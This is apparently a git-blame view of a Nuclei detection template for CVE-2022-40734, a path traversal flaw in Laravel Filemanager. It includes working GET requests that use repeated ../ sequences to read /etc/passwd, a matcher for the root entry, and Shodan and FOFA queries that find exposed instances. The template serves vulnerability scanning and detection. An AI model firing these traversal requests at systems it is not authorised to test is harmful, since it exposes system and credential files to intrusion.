2022-09-15 08:44:40 +00:00
|
|
|
id: CVE-2022-40734
|
|
|
|
|
|
|
|
info:
|
2023-01-16 17:41:15 +00:00
|
|
|
name: Laravel Filemanager v2.5.1 - Local File Inclusion
|
2022-09-15 08:44:40 +00:00
|
|
|
author: arafatansari
|
2022-09-17 08:33:33 +00:00
|
|
|
severity: medium
|
2022-09-15 08:53:15 +00:00
|
|
|
description: |
|
2023-01-16 17:41:15 +00:00
|
|
|
Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor.
|
2022-09-15 08:44:40 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/UniSharp/laravel-filemanager/issues/1150
|
2022-09-15 08:54:40 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40734
|
2023-11-27 09:19:41 +00:00
|
|
|
- https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1320186966
|
|
|
|
- https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1825310417
|
2024-05-31 19:23:20 +00:00
|
|
|
- https://github.com/ARPSyndicate/cvemon
|
2022-09-15 08:54:40 +00:00
|
|
|
classification:
|
2022-09-17 08:33:33 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 6.5
|
2022-09-15 08:54:40 +00:00
|
|
|
cve-id: CVE-2022-40734
|
2022-09-17 08:33:33 +00:00
|
|
|
cwe-id: CWE-22
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.10627
|
|
|
|
epss-percentile: 0.95035
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:unisharp:laravel_filemanager:*:*:*:*:*:*:*:*
|
2022-09-15 08:53:15 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: unisharp
|
|
|
|
product: laravel_filemanager
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- http.html:"Laravel Filemanager"
|
|
|
|
- http.html:"laravel filemanager"
|
2024-05-31 19:23:20 +00:00
|
|
|
fofa-query: body="laravel filemanager"
|
2022-09-15 08:54:40 +00:00
|
|
|
tags: cve,cve2022,laravel,unisharp,lfi,traversal
|
2022-09-15 08:44:40 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-09-15 08:44:40 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
|
|
|
|
- "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
|
|
|
|
|
2022-09-15 08:54:40 +00:00
|
|
|
stop-at-first-match: true
|
2022-09-15 08:44:40 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0"
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4b0a00483046022100d204c770b198c4635b4fbc52cf8a047c87b2cfbc536ce46b75e6d1af120ac599022100c25485435188c000143e079c811d4e3daa086c5508e24077e055c1a887e65050:922c64590222798bb761d5b6d8e72950
|